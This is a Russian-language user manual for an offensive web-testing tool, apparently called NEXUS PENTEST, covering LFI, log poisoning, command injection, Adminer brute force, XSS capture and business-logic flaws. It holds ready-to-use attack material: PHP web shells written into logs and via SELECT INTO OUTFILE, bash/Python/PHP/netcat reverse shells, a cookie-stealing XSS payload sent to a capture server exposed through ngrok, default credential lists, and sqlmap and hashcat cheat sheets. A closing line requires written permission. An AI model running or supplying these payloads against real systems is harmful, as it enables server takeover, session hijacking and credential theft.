[/etc/shadow]

Хэши паролей пользователей Linux (требуется права root на чтение). Содержит хэши в формате `uid$salt$hash`. Используйте `hashcat` для взлома.

```
root:$6$rounds=5000$salt$hash...:18000:0:99999:7:::
```

[.env]

Файл конфигурации популярных фреймворков (Laravel, Django, Node.js). Ищите: `APP_KEY`, `DB_PASSWORD`, `DB_USERNAME`, `SECRET_KEY`, `AWS_SECRET`, `API_KEY`, `STRIPE_SECRET`, `MAIL_PASSWORD`, `REDIS_PASSWORD`.

```
APP_KEY=base64:XXXXX
DB_PASSWORD=s3cr3tpassword
AWS_SECRET_KEY=AKIA...
```

[PHP исходник]

Читает PHP-файлы через фильтр `php://filter/convert.base64-encode`. Позволяет изучить логику приложения, найти другие уязвимости, хардкод пароли и секреты.

```
Запрос: ?page=php://filter/convert.base64-encode/resource=config.php
Ответ: PD9waHAgaGRiX3Bhc3MgPSAnczNjcjN0Jzs/Pg==
Декодировать: echo 'PD9w...' | base64 -d
```

[/var/log/apache2/access.log]

Лог доступа Apache. Используется для Log Poisoning (RCE). Сначала проверьте, читается ли лог.

```
192.168.1.1 - - [01/Jan/2024:12:00:00] "GET / HTTP/1.1" 200 1234
```

10.3 Log Poisoning — от LFI к RCE

Log Poisoning — техника превращения LFI в удалённое выполнение кода (RCE). Суть: записать PHP-код в лог-файл сервера, а затем выполнить его через LFI. Требования: LFI-уязвимость, читаемый файл лога (Apache, Nginx, SSH).

1. Убедитесь, что LFI читает лог: `?page=../.././var/log/apache2/access.log`
2. Отравите лог — сделайте запрос с PHP-кодом в User-Agent:

```
curl -A '<?php system($_GET[cmd]); ?>' http://localhost.tu/
```

3. Теперь обратитесь к логу через LFI с параметром `cmd`:

```
http://localhost.tu/?page=../.././var/log/apache2/access.log&cmd=id
```

4. Для стабильного шелла используйте команду из раздела 11.

10.4 Декодирование PHP исходника из Base64

```
# Linux/Mac:
echo 'PD9waHAgaGJGRiX3Bhc3M9J3MzY3IzdCc7Pz4=' | base64 -d

# Python:
import base64
print(base64.b64decode('PD9waHAgaGJGRiX3Bhc3M9J3MzY3IzdCc7Pz4=').decode())

# Онлайн: https://base64decode.org/
```


РАЗДЕЛ 11. ЭКСПЛОИТ — COMMAND INJECTION

11.1 Что такое CMDi

Command Injection — уязвимость, при которой веб-приложение передаёт пользовательский ввод напрямую в системную команду без должной проверки. Это позволяет выполнять произвольные команды на сервере. Например, приложение делает ping к введённому IP: ping 8.8.8.8. Если ввести 8.8.8.8; cat /etc/passwd, выполнится сначала ping, а затем cat /etc/passwd. Это одна из самых критичных уязвимостей.

11.2 Разделители команд

- ;
— Последовательное выполнение: cmd1; cmd2 — выполнит оба.
- &&
— И: cmd1 && cmd2 — выполнит cmd2 только если cmd1 успешен.
- ||
— ИЛИ: cmd1 || cmd2 — выполнит cmd2 только если cmd1 упал.
- |
— Пайп: cmd1 | cmd2 — передаёт вывод cmd1 на вход cmd2.
- `cmd`
— Подстановка команды в bash: выполняет cmd и вставляет вывод.
- \$(cmd)
— Подстановка команды (современный синтаксис bash).
- %0a
— URL-кодированный перевод строки — часто обходит фильтры.

11.3 Кнопки и команды

[id && whoami]

id — показывает UID, GID и группы текущего процесса. whoami — имя пользователя. Если uid=0 — вы root!

Пример вывода: uid=33(www-data) gid=33(www-data) groups=33(www-data)

[hostname]

Имя сервера. Полезно для идентификации машины в сети.

Пример вывода: web-server-01

[uname -a]

Версия ядра Linux и архитектура. Помогает подобрать kernel exploit.

Пример вывода: Linux web-server-01 5.4.0-42-generic x86_64

[cat /etc/passwd]

Список пользователей системы. Ищите пользователей с /bin/bash.

Пример вывода: root:x:0:0:root:/root:/bin/bash

[ls -la /]

Содержимое корневого каталога с правами доступа.

Пример вывода: drwxr-xr-x 2 root root 4096 Jan 1 12:00 etc

[env]

Переменные окружения. Могут содержать пароли, токены API.

Пример вывода: DB_PASSWORD=secret
API_KEY=abc123

[netstat -tulpn]

Открытые порты и слушающие сервисы на сервере.

Пример вывода: tcp 0.0.0.0:3306 LISTEN (mysqld)

[ps aux]

Список запущенных процессов. Видны другие сервисы.

Пример вывода: root 1234 /usr/bin/python3 app.py

11.4 Reverse Shell — шаг за шагом

Reverse Shell — это когда сервер сам подключается к вам, создавая интерактивную командную строку. Это нужно для обхода файрволов, которые блокируют входящие подключения к серверу.

1. Узнайте свой IP-адрес: ip addr (Linux) или ipconfig (Windows).
2. Выберите свободный порт, например 4444.
3. Откройте новый терминал и запустите netcat для ожидания подключения:

```
nc -lvnp 4444
```

4. В программе заполните поля: ваш IP, порт 4444.
5. Нажмите кнопку "Reverse Shell" — программа отправит нагрузку на сервер.
6. В терминале с netcat появится строка приглашения сервера. Вы внутри!
7. Для улучшения шелла: python3 -c "import pty;pty.spawn('/bin/bash')"

11.5 Все типы Reverse Shell нагрузок

Bash:

```
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
```

Python:

```
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])'
```

PHP:

```
php -r '$s=fsockopen("192.168.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Netcat (без -e):

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444>/tmp/f
```

РАЗДЕЛ 12. ADMINER БРУТФОРС

12.1 Что такое Adminer

Adminer (ранее phpMinAdmin) — это веб-интерфейс для управления базами данных, написанный на PHP. Он очень популярен среди разработчиков и нередко оставляется на production-серверах с дефолтными или слабыми паролями. Adminer позволяет выполнять SQL-запросы, просматривать таблицы и файловую систему. Стандартные пути: /adminer.php, /adminer/, /admin/adminer.php, /db/adminer.php.

12.2 Поля брутфорса

1. URL Adminer — введите адрес найденного Adminer: `http://localhost.tu/adminer.php`
2. Сервер БД — обычно localhost или 127.0.0.1, иногда конкретный IP или hostname.
3. Тип БД — выберите MySQL, PostgreSQL, SQLite, MSSQL.
4. Файл пользователей — текстовый файл, по строке на имя пользователя.
5. Файл паролей — текстовый файл с паролями. Используйте `rockyou.txt` или составьте свой.
6. Поток — рекомендуется 3-5 для Adminer (он медленно отвечает).
7. Нажмите "Начать брутфорс".

12.3 Типичные учётные данные для проверки

```
# Пользователи:
root
admin
mysql
dba
webadmin

# Пароли:
root
admin
password
123456
mysql
(пустой пароль — просто нажать войти)
toor
admin123
test
```

12.4 Загрузка PHP-шелла через Adminer

После входа в Adminer с найденными учётными данными можно загрузить PHP-шелл на

NEXUS PENTEST — Инструкция пользователя

сервер через SQL-команду SELECT INTO OUTFILE (если у пользователя MySQL есть привилегия FILE и известен путь веб-сервера).

1. Войдите в Adminer с найденными кредами.
2. Нажмите "SQL command" в левом меню.
3. Выполните SQL для создания шелла:

```
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
```

4. Проверьте доступность шелла в браузере:

```
http://localhost.tu/shell.php
```

5. Выполните команду через параметр:

```
http://localhost.tu/shell.php?cmd=id
```

ВАЖНО: Путь /var/www/html — стандартный для Ubuntu/Debian Apache. Для CentOS/RHEL: /var/www/html. Для Nginx: /usr/share/nginx/html. Узнать путь можно через: SELECT @@datadir;

РАЗДЕЛ 13. СЕРВЕР ЗАХВАТА (CAPTURE SERVER)

13.1 Что такое сервер захвата

Сервер захвата — это простой HTTP-сервер, встроенный в NEXUS PENTEST, который принимает данные от XSS-нагрузок. Когда жертва открывает страницу с XSS-кодом, JavaScript отправляет данные (cookies, нажатия клавиш, скриншоты форм) на IP-адрес и порт сервера захвата. Сервер сохраняет все входящие запросы и отображает их в интерфейсе.

13.2 Запуск сервера

1. Перейдите на вкладку "Сервер захвата".
2. Укажите порт (по умолчанию 8765). Порт должен быть свободен.
3. Нажмите кнопку "Запустить сервер".
4. Статус изменится на "Запущен". Отобразится URL для использования в нагрузках.
5. Если сервер за NAT (дома) — нужен проброс порта или использование ngrok.
6. Для публичного доступа используйте ngrok: `ngrok http 8765`

```
# Запуск ngrok для публичного доступа:
ngrok http 8765
# ngrok выдаст публичный URL: https://abc123.ngrok.io
# Используйте этот URL в XSS-нагрузках вместо локального IP
```

13.3 Использование URL сервера в нагрузках

URL вашего сервера захвата нужно вставить в XSS-нагрузку как адрес, на который отправляются данные. Программа делает это автоматически, но при ручном составлении нагрузки вставляйте URL вручную.

```
# URL сервера захвата (пример):
http://192.168.1.100:8765

# Cookie Stealer вручную:
<script>new Image().src='http://192.168.1.100:8765/c?'+document.cookie</script>

# Внедрение в URL параметр:
http://localhost.tu/page?q=<script>new
Image().src='http://192.168.1.100:8765/c?'+document.cookie</script>
```

13.4 Чтение захваченных данных

Все входящие запросы отображаются в таблице на вкладке сервера. Каждая строка — это один запрос от одной жертвы. Таблица автоматически обновляется при получении новых данных.

Время: Время получения данных от жертвы.

IP жертвы: IP-адрес, с которого пришли данные.

Тип: Тип данных: cookie, keylog, port_scan, form_data.

Данные: Собственно перехваченные данные. Кликните для полной записи.

13.5 Обновление и очистка

Нажмите кнопку 'Обновить' для ручного обновления списка. Кнопка 'Очистить' удаляет все записи из отображения (на диск не сохраняются). Кнопка 'Сохранить' экспортирует захваченные данные в текстовый файл.

РАЗДЕЛ 14. БИЗНЕС-ЛОГИКА

14.1 IDOR (Insecure Direct Object Reference)

IDOR — уязвимость, при которой приложение предоставляет прямой доступ к объектам (файлам, записям БД, пользователям) по их идентификатору без проверки прав доступа. Например: `/profile?id=5` — меняете на `id=6` и видите профиль другого пользователя. Очень распространённая уязвимость в системах с записями типа заказ/документ/пользователь.

Как использовать модуль IDOR:

1. Введите URL с числовым параметром: `http://localhost.tu/order?id=100`
2. Укажите имя параметра: `id`
3. Задайте диапазон перебора: от 1 до 200.
4. Нажмите "Запустить". Инструмент переберёт все значения.
5. Аномальный результат: ответы с разным размером или кодом 200 вместо 403.
6. Верификация: вручную откройте подозрительные ID в браузере.

```
# Ручная верификация:  
# Войдите как пользователь A (id=100)  
# Замените id=100 на id=101 в URL  
# Если видите данные другого пользователя — IDOR подтверждён
```

14.2 Race Condition (состояние гонки)

Race Condition — ситуация, когда приложение некорректно обрабатывает одновременные запросы. Классический пример: двойное списание баллов — при одновременной отправке двух запросов на трату 100 баллов с балансом 100, оба запроса проходят и баланс уходит в минус. Другой пример: двойное использование промокода или купона.

Ручное тестирование Race Condition на Python:

```
import threading, requests  
  
URL = 'http://localhost.tu/use_coupon'  
COOKIE = {'session': 'ваш_cookie'}  
DATA = {'coupon': 'DISCOUNT50'}  
  
def send():  
    r = requests.post(URL, data=DATA, cookies=COOKIE)  
    print(r.status_code, r.text[:100])  
  
# Запустить 10 одновременных запросов:
```

```
threads = [threading.Thread(target=send) for _ in range(10)]  
[t.start() for t in threads]  
[t.join() for t in threads]
```

14.3 Манипуляция ценой

Тест проверяет, доверяет ли сервер цене, переданной клиентом, вместо того чтобы брать её из своей БД. Если можно изменить цену товара в запросе — это критическая бизнес-уязвимость.

*** Цена = 0:**

Попробуйте установить price=0 или amount=0 в запросе оформления заказа.

*** Цена = -1:**

Отрицательная цена может вызвать зачисление денег на счёт.

*** Цена = 0.001:**

Очень маленькое значение — обход проверки на ноль.

*** Подмена ID товара:**

Замените ID дорогого товара на ID дешёвого в запросе.

*** Изменение количества:**

Количество -1 при оплате: возможен возврат средств.

14.4 Цепочки эксплойтов

Цепочка эксплойтов — это последовательность нескольких уязвимостей, каждая из которых усиливает следующую. В реальных пентестах одиночные находки редко дают полный доступ — важно объединять их.

Цепочка: XSS -> Захват сессии

1. Найдите XSS. 2. Внедрите Cookie Stealer. 3. Перехватите cookie администратора. 4. Подставьте cookie в браузер. 5. Вы вошли как администратор.

Цепочка: SQLi -> Чтение файлов -> RCE

1. Найдите SQLi. 2. Используйте LOAD_FILE для чтения конфигов. 3. Найдите учётные данные БД. 4. Подключитесь к MySQL напрямую. 5. Выполните SELECT INTO OUTFILE для создания PHP-шелла.

Цепочка: LFI -> Log Poisoning -> RCE

1. Найдите LFI. 2. Прочитайте лог Apache. 3. Отравите лог PHP-кодом через User-Agent. 4. Прочитайте лог через LFI — PHP выполнится. 5. У вас RCE.

Цепочка: IDOR -> Захват аккаунта

1. Найдите IDOR в функции смены пароля. 2. Перебором найдите ID других пользователей. 3. Смените пароль целевого аккаунта. 4. Войдите под его данными.

РАЗДЕЛ 15. НАСТРОЙКИ

15.1 Модули сканирования (чекбоксы)

Вкладка Настройки позволяет глобально включать и отключать модули. В отличие от чекбоксов на вкладке Сканирование, настройки здесь применяются ко всем будущим сканированиям по умолчанию. Это удобно для специализированных сессий: например, если вы тестируете только XSS, отключите все остальные модули для скорости.

SQLi Scanner Включает тестирование SQL-инъекций. Время: +30–60 сек на параметр.

XSS Scanner Включает тестирование XSS. Время: +20–40 сек на параметр.

LFI Scanner Включает тестирование LFI. Время: +15–30 сек на параметр.

CMDi Scanner Включает тестирование Command Injection. Время: +20–40 сек.

IDOR Scanner Включает автоматический перебор числовых ID. Время: +много.

Header Scanner Анализ заголовков безопасности HTTP. Быстро: +2–5 сек.

Crawler Автоматически обходит сайт, находя новые страницы и параметры.

JS Analyzer Анализирует JavaScript-файлы в поисках endpoint'ов и секретов.

15.2 Количество потоков — безопасно vs быстро

Потоки определяют количество параллельных HTTP-запросов. Это прямой компромисс между скоростью и незаметностью. Чем больше потоков — тем больше запросов в секунду и выше вероятность срабатывания IDS/WAF и перегрузки сервера. Для тестирования в рамках bugbounty используйте минимальные значения.

1-3 потока: Максимально медленно и незаметно. Для production-систем с IDS.

5-10 потоков: Баланс скорости и осторожности. Рекомендуется для большинства случаев.

10-20 потоков: Быстрое сканирование. Только для локальных стендов (DVWA, bWAPP).

20+ потоков: Очень быстро, но может вызвать DoS или бан IP. Только для CTF.

15.3 Прочие настройки

Таймаут запроса (сек)

Максимальное время ожидания ответа сервера. По умолчанию 10 сек. Увеличьте до 30 для медленных серверов или time-based SQLi.

User-Agent

Строка идентификации браузера. По умолчанию Mozilla/5.0. Измените для имитации мобильного браузера или специфичного бота.

Следовать редиректам

Автоматически переходить по редиректам (301, 302). Включено по умолчанию. Отключите для тестирования логики редиректов.

Верифицировать SSL

Проверять SSL-сертификат сервера. Отключите для тестирования сайтов с самоподписанными сертификатами или внутренних систем.

Прокси

Направить весь трафик через прокси (например, Burp Suite 127.0.0.1:8080). Полезно для дополнительного анализа запросов в Burp.

БЫСТРЫЙ СПРАВОЧНИК — КОМАНДЫ И ПРИМЕРЫ

Команды установки

```
git clone https://github.com/repo/nexus-pentest.git
cd nexus-pentest
pip install -r requirements.txt
python main.py
```

sqlmap шпаргалка

```
sqlmap -u 'URL?param=1' --dbs # список БД
sqlmap -u 'URL?param=1' -D db --tables # таблицы в БД
sqlmap -u 'URL?param=1' -D db -T users --dump # дамп таблицы
sqlmap -u 'URL?param=1' --file-read /etc/passwd # чтение файла
sqlmap -u 'URL?param=1' --os-shell # интерактивный шелл
```

Reverse Shell (Netcat слушатель)

```
nc -lvnp 4444
```

Улучшение шелла

```
python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
Ctrl+Z -> stty raw -echo -> fg
```

hashcat шпаргалка

```
hashcat -m 0 hash.txt rockyou.txt # MD5
hashcat -m 100 hash.txt rockyou.txt # SHA1
hashcat -m 1800 hash.txt rockyou.txt # sha512crypt
hashcat -m 3200 hash.txt rockyou.txt # bcrypt
```

Полезные ресурсы

- * <https://owasp.org/www-project-top-ten/> — OWASP Top 10
- * <https://portswigger.net/web-security> — PortSwigger Web Security Academy
- * <https://github.com/danielmiessler/SecLists> — списки нагрузок
- * <https://gtfobins.github.io/> — Unix binaries для повышения привилегий
- * <https://crackstation.net/> — онлайн взлом хэшей
- * <https://www.revshells.com/> — генератор reverse shell команд
- * <https://webhook.site/> — тест XSS/SSRF без своего сервера

NEXUS PENTEST — Инструкция пользователя

Используйте NEXUS PENTEST только на системах, на тестирование которых вы имеете письменное разрешение. Несанкционированное тестирование является уголовно наказуемым преступлением во многих странах мира.